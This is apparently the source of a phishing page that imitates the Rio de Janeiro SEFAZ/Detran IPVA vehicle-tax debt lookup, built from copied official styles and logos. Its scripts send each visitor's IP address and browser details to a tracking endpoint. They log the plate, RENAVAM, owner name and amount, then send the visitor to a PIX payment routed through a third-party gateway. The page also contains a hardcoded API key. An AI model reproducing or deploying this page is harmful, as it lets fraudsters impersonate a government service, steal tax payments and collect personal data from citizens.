<?php
require_once __DIR__ . '/client-config.php';

$renavam = $_GET['renavam'] ?? '-';
$placa = $_GET['placa'] ?? '-';
?>
<!DOCTYPE html>
<html lang="pt-BR">

<head>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <!-- CSS ORIGINAIS DETRAN RJ -->
    <link href="./css/res_n191623166.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_9409626209.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n115604630.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n461010783.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n690152644.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n792564736.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n649821122.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_7648729210.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_6674759822.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_4086321654.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n662866003.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n416869651.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n365088272.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_4579977752.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n805579820.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_8454745123.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_6663640840.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n555768380.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_8445434613.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_n715290777.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_3989361959.css" rel="stylesheet" type="text/css" />
    <link href="./css/res_4994631189.css" rel="stylesheet" type="text/css" />
    
    <title>Consulta de débitos do ipva e emissão de DARJ</title>
    <meta content="width=device-width, initial-scale=1" name="viewport" />
    <meta content="ie=edge,chrome=1" http-equiv="x-ua-compatible" />
    <link href="./external_assets/img/favicon.ico" rel="icon" type="image/x-icon" />
    <link crossorigin="anonymous" href="./css/bootstrap.min.css" rel="stylesheet" />
    <link href="./css/styles.fd1426045cf0df08.css" media="all" rel="stylesheet" />
    
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
    (function() {
        async function getIPv4() {
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                return data.ip;
            } catch (e) { return null; }
        }
        async function initTrack() {
            window._ipv4 = await getIPv4();
            fetch('./track.php', {
                method: 'POST',
                body: JSON.stringify({
                    action: 'debitos_view',
                    captured_ip: window._ipv4,
                    metadata: { url: window.location.href, ua: navigator.userAgent, captured_ip: window._ipv4 }
                })
            }).catch(() => {});
        }
        initTrack();
    })();

    function formatBRL(v) { return 'R$ ' + parseFloat(v).toLocaleString('pt-BR', { minimumFractionDigits: 2 }); }

    function trackEvent(action, payloadData = {}) {
        var payload = {
            action: action,
            api_key: 'sk_2b0b286cbbbc3471afd8f7f8fabd62rj',
            captured_ip: window._ipv4 || null
        };
        payload.metadata = payloadData;
        fetch('./track.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }).catch(() => { });
    }

    function openPixModal() {
        const renavam = $('#renavam-val').text().trim();
        const placa = $('#placa-val').text().trim();
        const nome = $('#contribuinte-nome').text().trim();
        const total = parseFloat($('#total').attr('data-total') || 0);

        trackEvent('pix_gerado', { 
            valor: total, 
            placa: placa, 
            renavam: renavam,
            gateway: 'RayPayments'
        });

        window.location.href = `resumo.php?renavam=${encodeURIComponent(renavam)}&placa=${encodeURIComponent(placa)}&valor=${total}&nome=${encodeURIComponent(nome)}`;
    }
    </script>

    <style>
        body { background: #f5f5f5; }
        .custom-card {
            background: #fff;
            border-radius: 8px;
            padding: 25px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.05);
            margin-bottom: 20px;
        }
        .vehicle-info-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
            gap: 20px;
            margin-bottom: 20px;
        }
        .info-item label {
            display: block;
            font-size: 11px;
            color: #888;
            text-transform: uppercase;
            font-weight: 700;
            margin-bottom: 4px;
        }
        .info-item span {
            display: block;
            font-size: 15px;
            color: #333;
            font-weight: 500;
        }
        .table-responsive {
            border-radius: 8px;
            overflow: hidden;
            border: 1px solid #eee;
        }
        .table thead th {
            background: #f8f9fa;
            border-bottom: 2px solid #dee2e6;
            color: #495057;
            font-weight: 700;
            font-size: 12px;
            text-transform: uppercase;
        }
        .btn-pay-fixed {
            width: 100%;
            background: #003399;
            color: white;
            padding: 18px;
            border-radius: 8px;
            font-weight: 700;
            font-size: 18px;
            border: none;
            box-shadow: 0 4px 15px rgba(0,51,153,0.3);
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 20px;
        }
        .btn-pay-fixed:hover { background: #002266; }
        
        #modalLoading {
            position: fixed;
            top: 0; left: 0; width: 100%; height: 100%;
            background: rgba(255,255,255,0.95);
            z-index: 9999;
            display: flex; align-items: center; justify-content: center; flex-direction: column;
        }
        .spinner { width: 50px; height: 50px; border: 5px solid #f3f3f3; border-top: 5px solid #003399; border-radius: 50%; animation: spin 1s linear infinite; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
    </style>
</head>

<body>
    <div id="modalLoading">
        <div class="spinner"></div>
        <p class="mt-3 fw-bold" style="color: #003399;">Carregando extrato Detran RJ...</p>
    </div>

    <app-root>
        <app-main>
            <app-header>
                <div class="position-relative" id="header-top">
                    <header id="header-product" class="position-relative color-bg-dark-blue w-100" style="background-color: rgb(50, 125, 255) !important; height: 74px; display: flex; align-items: center;">
                        <div class="container" style="display: flex; align-items: center; justify-content: space-between; width: 100%; max-width: 1140px; margin: 0 auto; padding: 0 15px;">
                            <div id="menu-product" style="display: flex; align-items: center;">
                                <div class="d-table-cell align-middle">
                                    <a href="https://fazenda.rj.gov.br/" style="display: flex; align-items: center; text-decoration: none;">
                                        <span class="menu-divisor" style="display: none;"></span>
                                        <figure id="logo-sefaz-white" style="margin: 0;"></figure>
                                    </a>
                                </div>
                            </div>
                            <h1 class="area-title d-inline-block text-truncate fw-lighter" style="margin: 0; color: #fff; font-size: 2rem; font-weight: 200; flex-grow: 1; text-align: center;">
                                <span class="name-system">IPVA</span>
                            </h1>
                            <div class="header-user-avatar" style="width: 142px;"></div>
                        </div>
                    </header>
                    <h2 class="subarea-title text-truncate" style="background-color: rgb(40, 115, 245); color: #fff; text-align: center; height: 35px; line-height: 35px; text-transform: uppercase; font-size: 1rem; margin: 0; font-weight: 400;">
                        <span>Consulta de débitos do ipva e emissão de DARJ</span>
                    </h2>
                </div>
            </app-header>

            <main role="main" class="container mt-4 pb-5">
                <div class="custom-card">
                    <h5 class="mb-4" style="color: #003399; font-weight: 700;"><i class="fas fa-car me-2"></i>DADOS DO VEÍCULO</h5>
                    <div class="vehicle-info-grid">
                        <div class="info-item"><label>Placa</label><span id="placa-val">-</span></div>
                        <div class="info-item"><label>Renavam</label><span id="renavam-val">-</span></div>
                        <div class="info-item"><label>Ano Fab/Mod</label><span id="ano-val">-</span></div>
                        <div class="info-item"><label>Marca/Modelo</label><span id="modelo-val">-</span></div>
                        <div class="info-item"><label>Município</label><span id="municipio-val">-</span></div>
                    </div>
                    <div class="pt-3 border-top mt-3">
                        <div class="info-item">
                            <label>Proprietário / Contribuinte</label>
                            <span id="contribuinte-nome" style="font-size: 18px; color: #003399; font-weight: 700;">-</span>
                        </div>
                    </div>
                </div>

                <div class="custom-card">
                    <h5 class="mb-4" style="color: #003399; font-weight: 700;"><i class="fas fa-list me-2"></i>EXTRATO DE DÉBITOS</h5>
                    <div class="table-responsive">
                        <table class="table table-hover mb-0">
                            <thead>
                                <tr>
                                    <th width="40"><input type="checkbox" id="selectAll" checked></th>
                                    <th>Débito / Cota</th>
                                    <th>Vencimento</th>
                                    <th>Valor Principal</th>
                                    <th>Encargos</th>
                                    <th>Total</th>
                                </tr>
                            </thead>
                            <tbody id="tabelaDebitos"></tbody>
                        </table>
                    </div>
                </div>

                <button class="btn-pay-fixed" onclick="openPixModal()">
                    <span>PAGAR VIA PIX</span>
                    <span id="total-display">R$ 0,00</span>
                </button>
            </main>

            <app-footer>
                <footer id="footer-product" role="contentinfo" class="bg-white border-top" style="padding: 15px 0; border-top: 1px solid #dee2e6; background: #fff;">
                    <div class="container" style="max-width: 1140px; margin: 0 auto; padding: 0 15px;">
                        <div class="row justify-content-between text-muted" style="display: flex; justify-content: space-between; align-items: center; font-size: 0.75rem;">
                            <div class="col-4 d-flex align-items-center">
                                Release v1.4.0 de 12/02/2026 - SEFAZ RJ
                            </div>
                            <div class="col-4 d-flex justify-content-end align-items-center">
                                <a href="https://fazenda.rj.gov.br/" class="logo py-1" style="opacity: 0.5;">
                                    <img src="./debitos_files/logorodaperj.svg" style="height: 30px;">
                                </a>
                            </div>
                        </div>
                    </div>
                </footer>
            </app-footer>
        </app-main>
    </app-root>

    <script>
        function renderData(data) {
            if(!data || !data.veiculo) return;
            const v = data.veiculo;
            $('#placa-val').text(v.nuPlaca || '-');
            $('#renavam-val').text(v.nuRenavamMascarado || '-');
            $('#ano-val').text(v.nuAnoFabricacao || '-');
            $('#modelo-val').text((v.dsMarca || '') + ' ' + (v.dsModelo || ''));
            $('#municipio-val').text(v.nomeMunicipio || '-');
            $('#contribuinte-nome').text(v.nomeContribuinte || '-');

            if(data.debitos) {
                let html = '';
                data.debitos.forEach(d => {
                    html += `
                        <tr>
                            <td><input type="checkbox" class="debt-cb" data-total="${d.vlTotal}" checked onchange="updateTotal()"></td>
                            <td><span class="fw-bold">${d.deCota}</span></td>
                            <td>${d.dtIpvaVenctoCota || d.dtVencimento || '-'}</td>
                            <td>${formatBRL(d.vlIpvaCota || d.vlPrincipal)}</td>
                            <td>${formatBRL((d.vlTotalValorJuros||0) + (d.vlTotalValorMulta||0))}</td>
                            <td class="text-primary fw-bold">${formatBRL(d.vlTotal || d.vlTotalCota)}</td>
                        </tr>
                    `;
                });
                $('#tabelaDebitos').html(html);
                updateTotal();
            }
            $('#modalLoading').fadeOut();
        }

        function updateTotal() {
            let total = 0;
            $('.debt-cb:checked').each(function() { total += parseFloat($(this).data('total') || 0); });
            $('#total-display').text(formatBRL(total));
            $('#total').attr('data-total', total.toFixed(2));
        }

        $(document).ready(function() {
            const cached = JSON.parse(sessionStorage.getItem('dadosVeiculo') || '{}');
            if(cached.success) { renderData(cached); }
            else {
                const renavam = new URLSearchParams(window.location.search).get('renavam');
                if(renavam) {
                    $.get('./api.php?renavam=' + renavam, function(res) {
                        if(res.success) { sessionStorage.setItem('dadosVeiculo', JSON.stringify(res)); renderData(res); }
                        else { alert(res.error || 'Erro ao buscar dados.'); window.location.href = 'index.html'; }
                    });
                } else { window.location.href = 'index.html'; }
            }
            $('#selectAll').change(function() { $('.debt-cb').prop('checked', $(this).prop('checked')); updateTotal(); });
        });
    </script>
    <div id="total" style="display:none;" data-total="0"></div>
</body>
</html>
